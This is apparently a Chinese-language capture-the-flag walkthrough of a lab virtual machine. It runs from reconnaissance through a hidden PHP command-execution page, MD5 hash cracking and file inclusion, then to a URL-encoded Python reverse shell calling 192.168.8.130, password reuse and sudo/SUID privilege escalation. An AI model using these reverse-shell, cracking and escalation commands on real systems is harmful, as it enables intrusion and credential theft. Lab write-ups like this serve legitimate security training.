一.思考:
1.这个全流程的思路就是信息收集,扫漏洞或开放端口,到后面的开发者失误暴露的密码以及验证方法,登录后获取到了密码以及cmd输入,那可能存在命令注入,或者恶意脚本执行,没思路就去看看唯一一个网站有什么,没有命令方面的,那我们开一个端口,看看这个请求到底,发送了什么,发现有账号密码,登录到另外两个账号,再文件包含进入反弹shell
2.接着就是看目录的db.sql看内容,从反弹shell->mysql数据->社会工程学->权限提升
二.具体过程:
(1)第一步部署这个靶机,登录,首先我们要知道ip,以及他的信息,使用nmap扫c段查看到ip为159,

(2)nmap -O识别目标主机运行的操作系统类型和版本;nmap -v显示详细情况,-sV看一下精准探测开放端口上运行的服务的具体版本信息,-sC自动执行 nmap 内置的 "默认脚本集合",看起来都没什么东西

(3)whatweb扫出来了Apache2.4.62,以及php7.4.33,具体详细在后面,但无法执行,考点不是这个,那么就是80端口的服务了,感觉这个可以加一个cve的使用考点更广泛

PHP 版本漏洞风险
输出暴露了 PHP 版本为 7.4.33,该版本存在多个已知高危漏洞(如 CVE-2021-21703 内存破坏漏洞、CVE-2022-31629 代码执行漏洞),若系统未打补丁,攻击者可结合 Web 漏洞实现代码执行。
(4)Gobuster 是用 Go 语言 编写的轻量级、高速、跨平台命令行工具,核心作用是通过字典爆破(暴力枚举) 的方式,发现 Web 服务器上隐藏的资源(如目录、文件、子域名、S3 存储桶等)。

一、服务版本级漏洞
- Apache httpd 2.4.6 漏洞
- CVE-2017-7668:目录遍历漏洞,攻击者可通过构造特殊请求读取服务器任意文件(如配置文件、敏感数据);
- CVE-2018-1301:远程代码执行漏洞,可利用恶意请求在服务器上执行任意命令;
- CVE-2021-41773:路径穿越 + 远程代码执行漏洞,通过构造请求绕过路径限制,执行代码或读取文件。
- PHP 7.4.33 漏洞
- CVE-2022-31629:PDO SQLite 扩展内存破坏漏洞,启用该扩展时,恶意 SQL 语句可触发内存越界,可能导致代码执行;
- CVE-2021-21703:内存破坏漏洞,特定输入可触发堆内存损坏,导致代码执行;
- CVE-2022-37454:代码执行漏洞,通过恶意构造的mbstring扩展操作,可实现任意代码执行。
Apache应该被修复或者版本扫描出错,已更新
(5)dirsearch -x 404,400扫描一下,看看目录有哪些可以进行操作的/js,/api,/css,/db.php/logout.php这里面/css和/js没什么,/api可以看见有四个目录,/db.php是数据库的,没权限看

(6)来到我们的80服务段漏洞测试,使用Goby和awvs扫描都没没发现什么漏洞,可以排除sql注入这些漏洞了,那我们接着进行测试,主界面就是一个登录界面,一个注册界面,有没有提权呢,因该是没有,这边后台应该是写禁止admin登录,那一个不会留其他高权限用户,那直接注册,进入看看也没有什么东西

(7)进入后有三个功能,其中两个需要账号,密码,那我们哪里来的账号密码呢,我们需要找找,这个是我们的一个任务,网站测试是一个url框,接受反弹shell,命令注入我测试了没作用,那我们看看反弹shell,或者收集一波请求信息

(8)看看扫描目录的api对应上面三个,但多了一个mgmt_page,那可能在里面有点东西,毕竟是藏起来的东西

(9)开始显示一个维护密码,那我肯定要得到密码,输入123456发现只接受五位数,那么会不会是纯数字,直接bp爆破,发现完全不上,撞库发现也正确密码,这个居然是开发者为了方便,把需要的功能写在前台进行编辑,后续没有删除,这个密码就出来了

(10)来代码审计一下,设置一个correct正确的密码,后续判断是不是get输入,密码是不是空,不是的就把输入密码,放到input里面,判断长度如果不合适打回,合适判断下面和正确密码是不是一样,如果认证成功,则可以接受一个get的cmd进行命令执行
?php
// 设置密码
$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';
// 检查密码是否正确
if (_SERVER\['REQUEST_METHOD'\] === 'GET' \&\& isset(_GET['password'])) {
input_password = _GET['password'];
if (strlen($input_password) !== 5) {
$error = "密码长度不正确";
} elseif (md5(input_password) === correct_password_hash) {
$authenticated = true;
// 如果已认证且传入了cmd参数,执行命令
if (isset($_GET['cmd'])) {
output = shell_exec(_GET['cmd']);
}
} else {
$error = "密码错误";
}
}
?
(11).我们使用kali里面自带的一个最大哈希库爆破,两个注意点,哈希库可能要下载一下,还有一个需要加---format=Raw-MD5,密码SOUTH

(12)密码登录后发现,还要弹用户什么的,就算加上cmd也不能执行,维护入口,那先把这个放在这,看看还要一个入口有什么作用

(13)只有一个搜索的了,反弹试试,为了知道为什么不让我访问,我看看他的请求是什么,网络安全与python
from flask import Flask, request
app = Flask(name)
@app.before_request
def log_headers():
print("=== 请求头信息 ===")
for key, value in request.headers.items():
print(f"{key}: {value}")
print("================")
@app.route('/')
def index():
return "请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)

(14)那我们反弹一下,看见一个auth不就是认证,那我们解密一下
fuli:wsGdwWQZTu7U4seseGaG

(15)第一个没什么反馈,第二个提示说看文件包含,那么我们根据下面的提示包含一下隐藏文件,看看能不能执行命令,发现可以


(16)此处,我们进行命令执行就可以获取到第一个flag1.txt了,但是我们看见根下面有flag3.txt,我们打开没有权限,那我们只有进入,如何提权,对他反弹shell一下


(17): 反弹shell,正向shell,靶机nc -lvnp 4321监控一下,有时候反弹不上,测试一下/api/include.php?file=mgmt_page&password=SOUTH&cmd=nc%20-zv%20192.168.8.130%204321,如果返回 succeeded! → 网络通,问题在命令本身;如果返回 failed! → 目标服务器的防火墙 / SELinux 阻止了对外连接,需要换端口(如 80/443)或用 bash 反弹(更隐蔽)。换一个码试试
Nc -lvnp 4321
/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST%3D%22192.168.8.130%22%3Bexport%20RPORT%3D4321%3Bpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28os.getenv%28%22RHOST%22%29%2Cint%28os.getenv%28%22RPORT%22%29%29%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29%20for%20fd%20in%20%280%2C1%2C2%29%5D%3Bpty.spawn%28%22sh%22%29%27

(18)开始不允许访问,那我们打开db.sql这里看出来有数据库密码,数据库账号,那我们登录看看有什么

(19)发现自建库,自建表,以及内容,那我看看有用户,密码,还要时间,有一个相当于是认证,最后一个数字与时间高度相同,那会不会是时间戳,或者时间与账号密码拼接,然后看见我们创建的1,2都在,那应该是注册自动分配的,那我们可以看看注册表的规则,到底这个认证是怎么来的
|id | username | password|password_changed_at | created_at
| 1 | admin|9eaf9317aac50c955575334a93d0b09c | 1753128055 | 2025-07-22 04:00:55 |

(20)打开html中的index.php,主要找注册信息,看见先输入密码,后验证正确性,都满足后进入时间戳,读取当前的时间,并且与密码进行拼接,拼接后进行MD5
加密形成时间戳密码哈希,那我们反过来爆破一下

(21)写一个py代码将密码的哈希值与认证的auth写下来,使用kali自带的最大字典爆破一下,不能直接使用john因为需要拼接,可以看出我们爆出来了,是chispa,我中途有一个致命错误,我进入的是控制虚拟机界面执行,他的机器不包含nano,使用vim会自动吞掉import的i,只有cat> hsah.py << EOF重定向加cat使用,但是没有这个字典,我就发现只能在本机爆破
import hashlib
target_hash = "9eaf9317aac50c955575334a93d0b09c"
salt = b"1753128055"
wordlist_path = "/usr/share/wordlists/rockyou.txt"
print(f"[*] 开始破解,目标哈希: {target_hash}")
try:
with open(wordlist_path, "rb") as f:
for line in f:
password = line.strip()
try_hash = hashlib.md5(password + salt).hexdigest()
if try_hash == target_hash:
print(f"\n[+] 破解成功! 密码是: {password.decode(errors='ignore')}")
break
else:
print("\n[-] 跑完字典未找到密码。")
except FileNotFoundError:
print("[-] 错误:找不到字典文件 rockyou.txt")
except Exception as e:
print(f"[-] 发生未知错误: {e}")

(22)我们无法登录界面的admin因为已经被禁止了,mysql我们是root登录的,那这个密码有什么作用呢,我们看看这个系统有哪些用户看见有root还有一个benjamin用户,社工思路和密码联想一下,使用这个密码登录的用户,会不会其他密码也是一样呢,那我们试试,发现root错误,但是benjamin成功,那我们看看这个用户有什么,发现flag2.txt

(23)我们接着看看有flag3.txt但是权限不足,那我们现在就想想看是提权,还是登录root,经过我们之前的尝试,登录是不太可能了,利用用户/组的权限体系,使用SUID和SGID权限文件,内核漏洞,计划任务配置缺陷,或sudo权限滥用,突破权限用户,获取root权限先使用Sudu -l的sudo权限滥用,看看系统赋予我们这个用户那些特殊权限,sudo -l查看当前用户被授予的所有 sudo 权限清单的命令看看能不能利用一下,发现可以不用密码让我们使用/bin/cat /root/notes/*读取,那我们看看路径穿越

到此打通关
三.扩展
(1)如果要接着提权,如果需要获取 root shell,还可以尝试构造更复杂的路径,比如读取 /etc/shadow(密码文件)或 /etc/sudoers(sudo 配置文件),看是否能进一步扩大权限。

(2)第二步:若 sudo 无法进一步提权,再排查 SUID/SGID 漏洞
执行以下命令查找系统中所有 root 拥有的 SUID 文件:
find / -perm -4000 -user root 2>/dev/null
比如找到 /bin/find、/usr/bin/vi 等带 SUID 的程序,就可以利用它们提权(例如 find / -exec bash -i \;)。
find /从系统根目录 / 开始,递归查找所有文件和目录-perm -4000匹配设置了 SUID 权限位的文件
-
4000 对应 Linux 的 SUID(Set User ID)特殊权限位
-
- 表示 "只要包含该权限位即可",即文件只要有 SUID 权限就会被选中-user root进一步过滤:仅匹配文件所有者是 root的文件2>/dev/null错误信息重定向:
-
2 代表标准错误输出(stderr)
-
/dev/null 是 Linux 的 "黑洞" 设备,会丢弃所有写入的内容
-
作用是隐藏查找过程中出现的 "权限不足" 等错误提示,让输出更清晰

(3) 第三步:若 sudo 和 SUID 都无效,再检查内核漏洞, 执行 uname -a 查看内核版本,ls /etc找os-release,比如输出:
Linux localhost 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
然后根据内核版本(如 3.10.0-1160.el7)在 Exploit-DB 等平台搜索对应的提权 EXP(漏洞利用脚本),尝试内核提权。

四.关注这个项目
(1)https://gtfobins.github.io/

(2)反弹sheel

(3)练习语法

